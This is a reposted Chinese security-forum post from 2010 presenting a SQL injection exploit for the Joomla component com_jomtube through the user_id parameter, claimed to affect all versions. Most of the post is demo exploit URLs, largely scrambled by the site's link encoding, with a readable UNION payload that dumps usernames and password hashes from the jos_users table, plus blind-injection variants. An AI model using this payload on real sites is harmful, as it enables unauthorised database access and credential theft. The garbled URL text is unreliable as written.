-
-
[转帖]Joomla Component com_jomtube (user_id) Blind SQL Injection / SQL Injection
-
发表于: 2010-7-22 18:25 2362
-
[转帖]Joomla Component com_jomtube (user_id) Blind SQL Injection / SQL Injection
2010-7-22 18:25
2362
--------------------------------------------------------------------------- [Sofware afected info] Joomla Component (com_jomtube) [Download] 295K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6G2L8i4c8#2j5X3g2Q4x3X3g2U0L8$3#2Q4x3V1j5`. [Afected versions] All versions + 0 day --------------------------------------------------------------------------- [Exploting..Bug..Demo..] [insert valid user_id=n] d41K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9K6c8Y4k6A6k6i4N6Q4x3@1c8$3K9h3c8W2L8%4y4Q4x3U0k6@1P5i4m8W2i4K6y4p5L8h3g2E0j5X3g2J5i4K6t1$3N6i4y4W2M7W2)9#2k6X3W2V1i4K6y4p5i4K6u0V1y4U0u0Q4x3V1u0#2L8X3W2G2L8W2)9J5b7Y4y4W2L8r3g2U0N6q4)9J5b7U0q4Q4x3V1x3J5i4K6u0o6x3#2)9J5b7K6c8Q4x3V1x3#2i4K6u0o6y4W2)9J5b7K6N6Q4x3V1x3^5i4K6u0o6z5b7`.`. ,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+fr om+jos_users--&option=com_jomtube [Blind SQL Injection] b24K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9K6c8Y4k6A6k6i4N6Q4x3@1c8$3K9h3c8W2L8%4y4Q4x3U0k6@1P5i4m8W2i4K6y4p5L8h3g2E0j5X3g2J5i4K6t1$3N6i4y4W2M7W2)9#2k6X3W2V1i4K6y4p5y4U0u0Q4x3V1u0S2L8X3c8Q4x3V1t1I4i4K6y4p5x3g2)9J5k6q4)9J5k6q4)9J5y4X3!0H3N6r3W2G2L8W2)9K6c8r3y4G2L8g2)9#2k6X3A6G2L8i4c8#2j5X3f1`. 4cfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9K6c8Y4k6A6k6i4N6Q4x3@1c8$3K9h3c8W2L8%4y4Q4x3U0k6@1P5i4m8W2i4K6y4p5L8h3g2E0j5X3g2J5i4K6t1$3N6i4y4W2M7W2)9#2k6X3W2V1i4K6y4p5y4U0u0Q4x3V1u0S2L8X3c8Q4x3V1t1I4i4K6y4p5x3q4)9J5k6q4)9J5k6q4)9J5y4X3!0H3N6r3W2G2L8W2)9K6c8r3y4G2L8g2)9#2k6X3A6G2L8i4c8#2j5X3f1`. ---------------------------------------------------------------------------
赞赏
他的文章
赞赏
雪币:
留言: